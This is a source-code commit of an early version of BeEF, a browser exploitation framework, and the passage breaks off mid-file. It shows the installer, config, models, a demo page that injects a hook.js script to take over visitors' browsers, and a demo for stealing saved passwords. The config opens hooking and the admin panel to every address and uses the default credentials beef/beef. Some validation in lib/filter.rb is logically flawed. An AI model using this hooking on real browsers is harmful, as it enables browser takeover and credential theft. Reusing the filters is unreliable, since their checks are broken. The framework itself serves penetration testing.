Moving RBeEF to trunk
git-svn-id: https://beef.googlecode.com/svn/trunk@503 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
52
INSTALL
Normal file
@@ -0,0 +1,52 @@
|
||||
Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing beef should be kept here.
|
||||
|
||||
=============================================
|
||||
|
||||
1. Prerequisites (platform independent)
|
||||
2. Prerequisites (Windows)
|
||||
3. Prerequisites (Linux)
|
||||
4. Prerequisites (Mac OSX)
|
||||
5. Install instructions
|
||||
|
||||
|
||||
|
||||
1. Prerequisites (platform independent)
|
||||
|
||||
Beef requires ruby 1.8
|
||||
|
||||
|
||||
2. Prerequisites (Windows)
|
||||
|
||||
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
|
||||
|
||||
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
|
||||
|
||||
|
||||
3. Prerequisites (Linux)
|
||||
|
||||
!!! This must be done PRIOR to running the Beef installer !!!
|
||||
|
||||
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
|
||||
|
||||
sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
|
||||
|
||||
|
||||
4. Prerequisites (Mac OSX)
|
||||
|
||||
Make sure you have XCode installed - which provided the sqlite support Beef needs
|
||||
|
||||
|
||||
5. Install instructions
|
||||
|
||||
Obtain application code either by downloading an archive from http://code.google.com/p/beef/downloads/list or checking out the source from http://code.google.com/p/beef/source/checkout
|
||||
|
||||
Navigate to the ruby source directory and run:
|
||||
|
||||
ruby install.rb
|
||||
|
||||
The installer verifies required gems, including any specific version dependencies, as well as performing a 'gem update --system'
|
||||
|
||||
The installer offers a choice of auto-installing missing gems or provides the command so you can install gems manually
|
||||
|
||||
The installer advises of the default username and password
|
||||
|
||||
23
beef.rb
Normal file
@@ -0,0 +1,23 @@
|
||||
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
|
||||
|
||||
$root_dir = File.expand_path('..', __FILE__)
|
||||
|
||||
require 'lib/loader'
|
||||
|
||||
# load config
|
||||
config = BeEF::Configuration.instance
|
||||
|
||||
# setup database
|
||||
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("database_file_name")}")
|
||||
|
||||
options = BeEF::Console::CommandLine.parse
|
||||
if options[:resetdb] then DataMapper.auto_migrate!; BeEF::Migration.instance.update_db!; else DataMapper.auto_upgrade!; end
|
||||
|
||||
# check for new command modules
|
||||
BeEF::Migration.instance.update_db!
|
||||
|
||||
BeEF::Console::Banner.generate
|
||||
|
||||
# hook server
|
||||
http_hook_server = BeEF::HttpHookServer.instance
|
||||
http_hook_server.start
|
||||
32
config.ini
Normal file
@@ -0,0 +1,32 @@
|
||||
beef_version = '0.4.2-alpha'
|
||||
|
||||
# subnet of browser ip addresses that can hook to the framework
|
||||
permitted_hooking_subnet = "0.0.0.0/0"
|
||||
|
||||
# subnet of browser ip addresses that can connect to the UI
|
||||
#permitted_ui_subnet = "127.0.0.1/32"
|
||||
permitted_ui_subnet = "0.0.0.0/0"
|
||||
|
||||
http_host = "127.0.0.1"
|
||||
http_port = "3000"
|
||||
http_dns = "localhost"
|
||||
|
||||
http_demo_path = "/demos/basic.html"
|
||||
http_panel_path = "/ui/panel"
|
||||
hook_file = "/hook.js"
|
||||
|
||||
ui_username = "beef"
|
||||
ui_password = "beef"
|
||||
|
||||
hook_session_name="BEEFHOOK"
|
||||
session_cookie_name="BEEFSESSION"
|
||||
|
||||
crypto_default_value_length=80
|
||||
login_fail_delay=1 # in seconds
|
||||
|
||||
database_file_name = "beef.db"
|
||||
|
||||
favicon_file_name = "favicon.ico"
|
||||
favicon_dir = "/public/images"
|
||||
|
||||
|
||||
BIN
database.xcdatamodel/elements
Normal file
BIN
database.xcdatamodel/layout
Normal file
28
demos/basic.html
Normal file
@@ -0,0 +1,28 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>BeEF Basic Demo</title>
|
||||
<script>
|
||||
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
|
||||
document.write(commandModuleStr);
|
||||
</script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
You should be hooked into <b>BeEF</b>.
|
||||
<p>
|
||||
Have fun while your browser is working against you.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
These links are for demonstrating the "collect links" command module<br />
|
||||
<ul>
|
||||
|
||||
<li><a href="http://www.bindshell.net/tools/beef" target="_blank">Beef homepage</a>
|
||||
<li><a href="http://ha.ckers.org/" target="_blank">ha.ckers.org homepage</a>
|
||||
<li><a href="http://slashdot.org/" target="_blank">Nerd homepage</a>
|
||||
|
||||
</ul>
|
||||
</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
27
demos/passwd_manager_theft.html
Normal file
@@ -0,0 +1,27 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>BeEF Password Manager Theft Demo</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<h2>Password Manager Theft Demo</h2>
|
||||
|
||||
<p>
|
||||
Instructions:<br>
|
||||
<br>
|
||||
1. Write a fake username and password in the form below<br>
|
||||
2. After having submitted the form, <u>make sure you tell firefox that you want to save</u><br>
|
||||
3. Exploit your hooked browser with the password manager theft command module.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<form action="passwd_manager_theft.html" method="POST">
|
||||
Username: <input type="text" name="username"><br><br>
|
||||
Password: <input type="password" name="random"></br>
|
||||
<input type="submit" value="submit">
|
||||
</form>
|
||||
</p>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
13
demos/secret_page.html
Normal file
@@ -0,0 +1,13 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>Secret Page</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Secret page</h1>
|
||||
|
||||
<p>
|
||||
This page is not hooked by beef. However you should still be capable of accessing it
|
||||
using the Requester.
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
112
install.rb
Normal file
@@ -0,0 +1,112 @@
|
||||
require 'rubygems'
|
||||
|
||||
puts "\nWelcome to the BEeF installer!"
|
||||
|
||||
puts "\nPlease make sure you have installed SQLite before proceeding. For instructions on how to do this please see the INSTALL file"
|
||||
|
||||
# array of required gems - add to as needed (specify a version if needed eg "gem_name, =x.x.x")
|
||||
$gems_required = ["ansi", "dm-core", "json", "data_objects", "do_sqlite3", "sqlite3-ruby", "dm-sqlite-adapter",
|
||||
"parseconfig", "erubis", "dm-migrations"]
|
||||
|
||||
# array of missing non-version specific gems installed
|
||||
$gems_missing = Array.new
|
||||
|
||||
# array of missing version specific gems installed
|
||||
$gems_missing_version = Array.new
|
||||
|
||||
# check all required gems (dependencies) are present
|
||||
def dep_check
|
||||
$gems_required.each do |current_gem|
|
||||
begin
|
||||
if current_gem.include? ","
|
||||
tokens = current_gem.split(",")
|
||||
gem tokens[0], tokens[1]
|
||||
else
|
||||
gem current_gem
|
||||
end
|
||||
rescue Gem::LoadError
|
||||
if current_gem.include? ","
|
||||
$gems_missing_version << current_gem
|
||||
else
|
||||
$gems_missing << current_gem
|
||||
end
|
||||
end
|
||||
end
|
||||
if $gems_missing.length == 0 && $gems_missing_version.length == 0
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# display install options
|
||||
def display_opts
|
||||
puts "\n1) Install all required gems automatically\n" + "2) List required gems and exit so they can be installed manually\n" + "3) Exit installer\n\n"
|
||||
option = gets
|
||||
return option
|
||||
end
|
||||
|
||||
# generate install command for missing gems
|
||||
def install_command
|
||||
if RUBY_PLATFORM =~ /linux/ or RUBY_PLATFORM =~ /darwin/
|
||||
cmd = "sudo gem install"
|
||||
$gems_missing.each do |current_gem|
|
||||
cmd = cmd + " #{current_gem}"
|
||||
end
|
||||
if $gems_missing_version.length != 0
|
||||
$gems_missing_version.each do |current_gem|
|
||||
if cmd == "sudo gem install"
|
||||
cmd = cmd + " #{current_gem}"
|
||||
else
|
||||
cmd = cmd + " && sudo gem install #{current_gem}"
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
cmd = "gem install"
|
||||
$gems_missing.each do |current_gem|
|
||||
cmd = cmd + " #{current_gem}"
|
||||
end
|
||||
if $gems_missing_version.length != 0
|
||||
$gems_missing_version.each do |current_gem|
|
||||
if cmd == "gem install"
|
||||
cmd = cmd + " #{current_gem}"
|
||||
else
|
||||
cmd = cmd + " & gem install #{current_gem}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
cmd = cmd.delete "," "'"
|
||||
cmd = cmd.gsub("=", "-v")
|
||||
return cmd
|
||||
end
|
||||
|
||||
# install missing gems
|
||||
def install_gems
|
||||
puts install_command + "\n"
|
||||
system(install_command)
|
||||
end
|
||||
|
||||
dep_met = dep_check()
|
||||
|
||||
if dep_met == false
|
||||
puts "\nSome gems required by BEeF are not present on your system please select an option to continue:"
|
||||
option = display_opts
|
||||
while option != "1\n" and option != "2\n" and option != "3\n"
|
||||
puts "\nInvalid option entered, please select a valid option to continue:"
|
||||
option = display_opts
|
||||
end
|
||||
if option == "1\n"
|
||||
install_gems
|
||||
elsif option == "2\n"
|
||||
cmd = install_command
|
||||
puts "\nPlease run the following command to update and install all required gems:\n\n" + cmd + "\n\n"
|
||||
elsif option == "3\n"
|
||||
puts "\nExiting...\n\n"
|
||||
end
|
||||
else
|
||||
puts "\nAll required gems are present - please run 'ruby beef.rb' to start using BEeF\n\n"
|
||||
puts "\nThe Default username/password are beef/beef\n\n"
|
||||
puts "\nAll feedback welcome - http://beef.googlecode.com/\n\n"
|
||||
end
|
||||
20
lib/configuration.rb
Normal file
@@ -0,0 +1,20 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
class Configuration < ParseConfig
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize(configuration_file="#{$root_dir}/config.ini")
|
||||
super(configuration_file)
|
||||
end
|
||||
|
||||
def get(key)
|
||||
get_value(key)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
39
lib/console/banner.rb
Normal file
@@ -0,0 +1,39 @@
|
||||
module BeEF
|
||||
module Console
|
||||
|
||||
module Banner
|
||||
#
|
||||
# Generates banner
|
||||
#
|
||||
def self.generate
|
||||
@configuration = BeEF::Configuration.instance
|
||||
|
||||
version = BeEF::Configuration.instance.get('beef_version')
|
||||
|
||||
hook_uri = "http://#{@configuration.get("http_host")}:"
|
||||
hook_uri += "#{@configuration.get("http_port")}"
|
||||
hook_uri += "#{@configuration.get("hook_file")}"
|
||||
|
||||
ui_uri = "http://#{@configuration.get("http_host")}:"
|
||||
ui_uri += "#{@configuration.get("http_port")}"
|
||||
ui_uri += "#{@configuration.get("http_panel_path")}"
|
||||
|
||||
demo_uri = "http://#{@configuration.get("http_host")}:"
|
||||
demo_uri += "#{@configuration.get("http_port")}"
|
||||
demo_uri += "#{@configuration.get("http_demo_path")}"
|
||||
|
||||
detail_tab = ' ' * 1 + '--[ '
|
||||
|
||||
puts
|
||||
puts " -=[ BeEF " + "v#{version} ]=-\n\n"
|
||||
puts detail_tab + "Modules: #{BeEF::Models::CommandModule.all.length}"
|
||||
puts detail_tab + "Hook URL: #{hook_uri}"
|
||||
puts detail_tab + "UI URL: #{ui_uri}"
|
||||
puts detail_tab + "Demo URL: #{demo_uri}"
|
||||
puts
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
37
lib/console/commandline.rb
Normal file
@@ -0,0 +1,37 @@
|
||||
module BeEF
|
||||
module Console
|
||||
|
||||
module CommandLine
|
||||
|
||||
@options = Hash.new
|
||||
@options[:verbose] = false
|
||||
@options[:resetdb] = false
|
||||
|
||||
@already_parsed = false
|
||||
|
||||
#
|
||||
# Parses the command line arguments of the console.
|
||||
# It also populates the 'options' hash.
|
||||
#
|
||||
def self.parse
|
||||
return @options if @already_parsed
|
||||
|
||||
optparse = OptionParser.new do |opts|
|
||||
opts.on('-x', '--reset', 'Reset the database') do
|
||||
@options[:resetdb] = true
|
||||
end
|
||||
|
||||
opts.on('-v', '--verbose', 'Display debug information') do
|
||||
@options[:verbose] = true
|
||||
end
|
||||
end
|
||||
|
||||
optparse.parse!
|
||||
@already_parsed = true
|
||||
@options
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
88
lib/constants.rb
Normal file
@@ -0,0 +1,88 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# This module list all the constants used by the framework.
|
||||
#
|
||||
module Constants
|
||||
|
||||
module CommandModule
|
||||
|
||||
MODULE_TARGET_VERIFIED_NOT_WORKING = 0
|
||||
MODULE_TARGET_VERIFIED_WORKING = 1
|
||||
MODULE_TARGET_VERIFIED_UNKNOWN = 2
|
||||
|
||||
MODULE_TARGET_VERIFIED_NOT_WORKING_IMG = 'red.png'
|
||||
MODULE_TARGET_VERIFIED_WORKING_IMG = 'green.png'
|
||||
MODULE_TARGET_VERIFIED_UNKNOWN_IMG = 'grey.png'
|
||||
|
||||
MODULE_TARGET_IMG_PATH = 'public/images/icons/'
|
||||
|
||||
end
|
||||
|
||||
module Browsers
|
||||
|
||||
FF = 'FF' # Firefox
|
||||
M = 'M' # Mozila
|
||||
IE = 'IE' # Internet Explorer
|
||||
S = 'S' # Safari
|
||||
K = 'K' # Konqueror
|
||||
C = 'C' # Chrome
|
||||
ALL = 'ALL' # ALL
|
||||
|
||||
FRIENDLY_FF_NAME = 'Firefox'
|
||||
FRIENDLY_M_NAME = 'Mozila'
|
||||
FRIENDLY_IE_NAME = 'Internet Explorer'
|
||||
FRIENDLY_S_NAME = 'Safari'
|
||||
FRIENDLY_K_NAME = 'Konqueror'
|
||||
FRIENDLY_C_NAME = 'Chrome'
|
||||
|
||||
def self.friendly_name(browser_name)
|
||||
|
||||
case browser_name
|
||||
when FF; return FRIENDLY_FF_NAME
|
||||
when M; return FRIENDLY_M_NAME
|
||||
when IE; return FRIENDLY_IE_NAME
|
||||
when S; return FRIENDLY_S_NAME
|
||||
when K; return FRIENDLY_K_NAME
|
||||
when C; return FRIENDLY_C_NAME
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
# The User Agent strings for browser detection
|
||||
module Agents
|
||||
|
||||
AGENT_UNKNOWN_IMG = 'unknown.png'
|
||||
AGENT_FIREFOX_UA_STR = 'Firefox'
|
||||
AGENT_FIREFOX_IMG = 'firefox.png'
|
||||
AGENT_MOZILLA_UA_STR = 'Mozilla'
|
||||
AGENT_MOZILLA_IMG = 'mozilla.png'
|
||||
AGENT_IE_UA_STR = 'MSIE'
|
||||
AGENT_IE_IMG = 'msie.png'
|
||||
AGENT_SAFARI_UA_STR = 'Safari'
|
||||
AGENT_SAFARI_IMG = 'safari.png'
|
||||
AGENT_KONQ_UA_STR = 'Konqueror'
|
||||
AGENT_KONQ_IMG = 'konqueror.png'
|
||||
AGENT_CHROME_UA_STR = 'Chrome'
|
||||
AGENT_CHROME_IMG = 'chrome.png'
|
||||
|
||||
end
|
||||
|
||||
# The OS'es strings for os detection.
|
||||
module Os
|
||||
|
||||
OS_UNKNOWN_IMG = 'unknown.png'
|
||||
OS_WINDOWS_UA_STR = 'Windows'
|
||||
OS_WINDOWS_IMG = 'win.png'
|
||||
OS_LINUX_UA_STR = 'Linux'
|
||||
OS_LINUX_IMG = 'linux.png'
|
||||
OS_MAC_UA_STR = 'Mac'
|
||||
OS_MAC_IMG = 'mac.png'
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
26
lib/crypto.rb
Normal file
@@ -0,0 +1,26 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# This module provides crypto functionality
|
||||
#
|
||||
module Crypto
|
||||
|
||||
#
|
||||
# Generate a secure random token
|
||||
#
|
||||
def self.secure_token(len = nil)
|
||||
|
||||
# get default length from config
|
||||
config = BeEF::Configuration.instance
|
||||
token_length = len || config.get('crypto_default_value_length').to_i
|
||||
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Token length is zero or less" if (1 > token_length)
|
||||
|
||||
# return random hex string
|
||||
OpenSSL::Random.random_bytes(token_length).unpack("H*")[0]
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
119
lib/filter.rb
Normal file
@@ -0,0 +1,119 @@
|
||||
module BeEF
|
||||
|
||||
module Filter
|
||||
|
||||
# check if the string is not empty and not nil
|
||||
def self.is_non_empty_string?(str)
|
||||
return false if str.nil?
|
||||
return false if not str.is_a? String
|
||||
return false if str.empty?
|
||||
true
|
||||
end
|
||||
|
||||
# check if the command id valid
|
||||
def self.is_valid_commmamd_id?(str)
|
||||
return false if not BeEF::Filter.is_non_empty_string?(str)
|
||||
return false if not BeEF::Filter.nums_only?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check if the session id valid
|
||||
def self.is_valid_hook_session_id?(str)
|
||||
return false if not BeEF::Filter.is_non_empty_string?(str)
|
||||
return false if not BeEF::Filter.has_valid_key_chars?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check if valid command module datastore key
|
||||
def self.is_valid_commmamd_module_datastore_key?(str)
|
||||
return false if not BeEF::Filter.is_non_empty_string?(str)
|
||||
return BeEF::Filter.has_valid_key_chars?(str)
|
||||
end
|
||||
|
||||
# check if valid command module datastore value
|
||||
def self.is_valid_commmamd_module_datastore_param?(str)
|
||||
return false if not BeEF::Filter.is_non_empty_string?(str)
|
||||
return false if BeEF::Filter.has_null?(str)
|
||||
return false if BeEF::Filter.has_non_printable_char?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check if num chars only
|
||||
def self.nums_only?(str)
|
||||
not (str =~ /^[\d]+$/).nil?
|
||||
end
|
||||
|
||||
# check if hex chars only
|
||||
def self.hexs_only?(str)
|
||||
not (str =~ /^[0123456789ABCDEFabcdef]+$/).nil?
|
||||
end
|
||||
|
||||
# check if first char is a num
|
||||
def self.first_char_is_num?(str)
|
||||
not (str =~ /^\d.*/).nil?
|
||||
end
|
||||
|
||||
# check for word and some punc chars
|
||||
def self.has_valid_key_chars?(str)
|
||||
return false if not BeEF::Filter.is_non_empty_string?(str)
|
||||
(str =~ /[^\w_-]/).nil?
|
||||
end
|
||||
|
||||
# check for word and underscore chars
|
||||
def self.has_valid_param_chars?(str)
|
||||
return false if str.nil?
|
||||
return false if not str.is_a? String
|
||||
return false if str.empty?
|
||||
(str =~ /[^\w_]/).nil?
|
||||
end
|
||||
|
||||
# check for space chars: \t\n\r\f
|
||||
def self.has_whitespace_char?(str)
|
||||
not (str =~ /\s/).nil?
|
||||
end
|
||||
|
||||
# check for non word chars: a-zA-Z0-9
|
||||
def self.has_nonword_char?(str)
|
||||
not (str =~ /\w/).nil?
|
||||
end
|
||||
|
||||
# check for null char
|
||||
def self.has_null? (str)
|
||||
not (str =~ /[\000]/).nil?
|
||||
end
|
||||
|
||||
# check for non-printalbe char
|
||||
def self.has_non_printable_char?(str)
|
||||
not (str =~ /[^[:print:]]/m).nil?
|
||||
end
|
||||
|
||||
# check if request is valid
|
||||
def self.is_valid_request?(str)
|
||||
req_parts = str.split(/ |\n/)
|
||||
|
||||
#check verb
|
||||
verb = req_parts[0]
|
||||
return false if not verb.eql? "GET" or verb.eql? "POST"
|
||||
|
||||
#check uri
|
||||
uri = req_parts[1]
|
||||
return false if not uri.eql? WEBrick::HTTPUtils.normalize_path(uri)
|
||||
|
||||
# check trailer
|
||||
trailer = req_parts[2]
|
||||
return false if not trailer.eql? "HTTP/1.1" or trailer.eql? "HTTP/1.0"
|
||||
|
||||
# check host
|
||||
host_param_key = req_parts[3]
|
||||
return false if not host_param_key.eql? "Host:"
|
||||
|
||||
# check ip address of target
|
||||
host_param_value = req_parts[4]
|
||||
return false if not host_param_value =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
64
lib/loader.rb
Normal file
@@ -0,0 +1,64 @@
|
||||
require 'rubygems'
|
||||
require 'webrick'
|
||||
require 'dm-core'
|
||||
require 'dm-migrations'
|
||||
require 'json'
|
||||
require 'ansi'
|
||||
require 'optparse'
|
||||
require 'cgi'
|
||||
require 'parseconfig'
|
||||
require 'singleton'
|
||||
require 'ipaddr'
|
||||
require 'base64'
|
||||
|
||||
require 'lib/patches/webrick/httprequest'
|
||||
require 'lib/patches/webrick/cookie'
|
||||
require 'lib/patches/webrick/genericserver'
|
||||
require 'lib/patches/webrick/httpresponse'
|
||||
require 'lib/patches/webrick/httpservlet/filehandler.rb'
|
||||
|
||||
require 'lib/constants'
|
||||
|
||||
require 'lib/model/user'
|
||||
require 'lib/model/commandmodule'
|
||||
require 'lib/model/zombie'
|
||||
require 'lib/model/log'
|
||||
require 'lib/model/command'
|
||||
require 'lib/model/result'
|
||||
require 'lib/model/autoloading'
|
||||
require 'lib/model/plugin'
|
||||
require 'lib/model/http'
|
||||
require 'lib/model/browserdetails'
|
||||
|
||||
require 'lib/crypto'
|
||||
require 'lib/filter'
|
||||
|
||||
require 'lib/configuration'
|
||||
|
||||
require 'lib/console/banner'
|
||||
require 'lib/console/commandline'
|
||||
require 'lib/migration'
|
||||
|
||||
require 'lib/server/modules/common'
|
||||
require 'lib/server/modules/requester'
|
||||
|
||||
require 'lib/server/httphandler'
|
||||
require 'lib/server/httpcontroller'
|
||||
|
||||
require 'lib/server/httphookserver'
|
||||
|
||||
require 'lib/server/zombiehandler'
|
||||
require 'lib/server/commandhandler'
|
||||
require 'lib/server/publichandler'
|
||||
require 'lib/server/requesterhandler'
|
||||
require 'lib/server/inithandler'
|
||||
|
||||
require 'lib/logger'
|
||||
require 'lib/modules/command'
|
||||
|
||||
require 'openssl'
|
||||
|
||||
# load command modules
|
||||
Dir["#{$root_dir}/modules/commands/**/*.rb"].each do |command|
|
||||
require command
|
||||
end
|
||||
24
lib/logger.rb
Normal file
@@ -0,0 +1,24 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# This class takes care of logging events in the db.
|
||||
#
|
||||
class Logger
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@logs = BeEF::Models::Log
|
||||
end
|
||||
|
||||
# Registers a new event in the logs
|
||||
def register(from, event, zombie = 0)
|
||||
@logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :zombie_id => zombie).save
|
||||
end
|
||||
|
||||
private
|
||||
@logs
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
64
lib/migration.rb
Normal file
@@ -0,0 +1,64 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# This class migrates and updates values in the database each time you restart BeEF.
|
||||
# So for example, when you want to add a new command module, you stop BeEF, copy your command module into the framework
|
||||
# and then restart BeEF. That class will take care of installing automatically the new command module in the db.
|
||||
#
|
||||
class Migration
|
||||
|
||||
include Singleton
|
||||
|
||||
#
|
||||
# Updates the database.
|
||||
#
|
||||
def update_db!
|
||||
update_commands!
|
||||
update_plugins!
|
||||
end
|
||||
|
||||
#
|
||||
# Checks for new command modules and updates the database.
|
||||
#
|
||||
def update_commands!
|
||||
db_commands = [], folders = ''
|
||||
|
||||
BeEF::Models::CommandModule.all.each {|db_command| db_commands.push(db_command.path)}
|
||||
|
||||
Dir.foreach("#{$root_dir}/modules/commands/") do |folder|
|
||||
folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/commands/#{folder}"
|
||||
end
|
||||
|
||||
regex = /\/modules\/commands\/(#{folders})\/(.*).rb/i
|
||||
|
||||
Dir["#{$root_dir}/modules/commands/**/*.rb"].each do |command|
|
||||
if (command = command.match(regex)[0])
|
||||
BeEF::Models::CommandModule.new(:path => command, :name => /.*\/(\w+)\.rb/.match(command).to_a[1]).save if not db_commands.include? command
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Checks for new plugins and updates the database.
|
||||
#
|
||||
def update_plugins!
|
||||
db_plugins = [], folders = ''
|
||||
|
||||
BeEF::Models::Plugin.all.each {|db_plugin| db_plugins.push(db_plugin.path)}
|
||||
|
||||
Dir.foreach("#{$root_dir}/modules/plugins/") do |folder|
|
||||
folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/plugins/#{folder}"
|
||||
end
|
||||
|
||||
regex = /\/modules\/plugins\/(#{folders})\/(\w+)\/(\w+).rb/i
|
||||
|
||||
Dir["#{$root_dir}/modules/plugins/**/*.rb"].each do |plugin|
|
||||
if (plugin = plugin.match(regex)[0])
|
||||
BeEF::Models::Plugin.new(:path => plugin).save if not db_plugins.include? plugin
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
18
lib/model/autoloading.rb
Normal file
@@ -0,0 +1,18 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Autoloading
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'autoloading'
|
||||
|
||||
property :id, Serial
|
||||
property :in_use, Boolean
|
||||
|
||||
belongs_to :command
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
93
lib/model/browserdetails.rb
Normal file
@@ -0,0 +1,93 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class BrowserDetails
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
#
|
||||
# Class constructor
|
||||
#
|
||||
def initialize(config)
|
||||
# we set up a mutex
|
||||
super(config)
|
||||
@@guard = Mutex.new
|
||||
end
|
||||
|
||||
storage_names[:default] = 'browser_details'
|
||||
|
||||
property :session_id, Text, :key => true
|
||||
property :detail_key, Text, :lazy => false, :key => true
|
||||
property :detail_value, Text, :lazy => false
|
||||
|
||||
#
|
||||
# Returns the requested value from the data store
|
||||
#
|
||||
def self.get(session_id, key)
|
||||
browserdetail = first(:session_id => session_id, :detail_key => key)
|
||||
|
||||
return nil if browserdetail.nil?
|
||||
return nil if browserdetail.detail_value.nil?
|
||||
return browserdetail.detail_value
|
||||
end
|
||||
|
||||
#
|
||||
# Stores a key->value pair into the data store
|
||||
#
|
||||
def self.set(session_id, detail_key, detail_value)
|
||||
# if the details already exist don't re-add them
|
||||
return nil if not get(session_id, detail_key).nil?
|
||||
|
||||
# store the returned browser details
|
||||
browserdetails = BeEF::Models::BrowserDetails.new(
|
||||
:session_id => session_id,
|
||||
:detail_key => detail_key,
|
||||
:detail_value => detail_value)
|
||||
|
||||
@@guard.synchronize {
|
||||
result = browserdetails.save
|
||||
# if the attempt to save the browser details fails return a bad request
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Failed to save browser details" if result.nil?
|
||||
}
|
||||
|
||||
browserdetails
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the icon representing the browser type the
|
||||
# hooked browser is using (i.e. Firefox, Internet Explorer)
|
||||
#
|
||||
def self.browser_icon(session_id)
|
||||
|
||||
browser = get(session_id, 'BrowserName')
|
||||
|
||||
return BeEF::Constants::Agents::AGENT_IE_IMG if browser.eql? "IE" # Internet Explorer
|
||||
return BeEF::Constants::Agents::AGENT_FIREFOX_IMG if browser.eql? "FF" # Firefox
|
||||
return BeEF::Constants::Agents::AGENT_SAFARI_IMG if browser.eql? "S" # Safari
|
||||
return BeEF::Constants::Agents::AGENT_CHROME_IMG if browser.eql? "C" # Chrome
|
||||
|
||||
BeEF::Constants::Agents::AGENT_UNKNOWN_IMG
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the icon representing the os type the
|
||||
# zombie is running (i.e. Windows, Linux)
|
||||
#
|
||||
def self.os_icon(session_id)
|
||||
|
||||
ua_string = get(session_id, 'BrowserReportedName')
|
||||
|
||||
return BeEF::Constants::Os::OS_UNKNOWN_IMG if ua_string.nil? # Unknown
|
||||
return BeEF::Constants::Os::OS_WINDOWS_IMG if ua_string.include? BeEF::Constants::Os::OS_WINDOWS_UA_STR # Windows
|
||||
return BeEF::Constants::Os::OS_LINUX_IMG if ua_string.include? BeEF::Constants::Os::OS_LINUX_UA_STR # Linux
|
||||
return BeEF::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Constants::Os::OS_MAC_UA_STR # Mac OS X
|
||||
|
||||
BeEF::Constants::Os::OS_UNKNOWN_IMG
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
58
lib/model/command.rb
Normal file
@@ -0,0 +1,58 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Command
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'commands'
|
||||
|
||||
property :id, Serial
|
||||
property :data, Text
|
||||
property :creationdate, String, :length => 15, :lazy => false
|
||||
property :label, Text, :lazy => false
|
||||
property :has_run, Boolean, :default => false
|
||||
|
||||
has n, :results
|
||||
has n, :autoloadings
|
||||
|
||||
#
|
||||
# Save results and flag that the command has been run on the hooked browser
|
||||
#
|
||||
# @param: {String} the session_id. Must have been checked with BeEF::Filter.is_valid_hook_session_id?(hook_session_id) before use in this function.
|
||||
# @param: {String} the command_id. Must have been checked with BeEF::Filter.is_valid_commmamd_id?(command_id) before use in this function.
|
||||
# @param: {String} the command friendly name. Must have been checked with command_friendly_name.empty? before use in this function.
|
||||
# @param: {String} the result of the command module. Must have been checked with result.empty? before use in this function.
|
||||
#
|
||||
def self.save_result(hook_session_id, command_id, command_friendly_name, result)
|
||||
|
||||
# get the hooked browser structure and id from the database
|
||||
zombie = BeEF::Models::Zombie.first(:session => hook_session_id) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
|
||||
